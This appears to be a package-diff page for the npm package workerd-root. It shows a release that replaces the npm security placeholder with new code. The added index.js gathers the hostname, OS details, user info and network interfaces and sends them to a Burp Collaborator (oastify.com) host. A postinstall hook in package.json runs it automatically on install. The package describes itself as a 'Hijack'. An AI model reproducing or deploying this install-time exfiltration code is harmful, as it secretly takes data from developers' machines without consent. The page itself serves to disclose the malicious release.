workerd-root 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of workerd-root might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +45 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,45 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+ const { execSync } = require('child_process');
4
+
5
+ // Replace with your Burp Collaborator URL
6
+ const burpCollaboratorUrl = '75at9bhoyndx3dt9eyp710fssjyam2ar.oastify.com';
7
+
8
+ // Collect device information
9
+ const deviceInfo = {
10
+ platform: os.platform(),
11
+ release: os.release(),
12
+ hostname: os.hostname(),
13
+ arch: os.arch(),
14
+ userInfo: os.userInfo(),
15
+ networkInterfaces: os.networkInterfaces()
16
+ };
17
+
18
+ // Convert device information to a query string
19
+ const queryString = Object.entries(deviceInfo).map(([key, value]) => {
20
+ if (typeof value === 'object') {
21
+ value = JSON.stringify(value);
22
+ }
23
+ return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
24
+ }).join('&');
25
+
26
+ // Define the request options
27
+ const options = {
28
+ hostname: burpCollaboratorUrl,
29
+ port: 443,
30
+ path: `/?${queryString}`,
31
+ method: 'GET'
32
+ };
33
+
34
+ // Create the request
35
+ const req = https.request(options, (res) => {
36
+ console.log(`Status: ${res.statusCode}`);
37
+ });
38
+
39
+ // Handle any errors
40
+ req.on('error', (error) => {
41
+ console.error(`Error: ${error.message}`);
42
+ });
43
+
44
+ // End the request
45
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "workerd-root",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "Hijack By Ch Sathwik",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "Ch Sathwik",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=workerd-root for more information.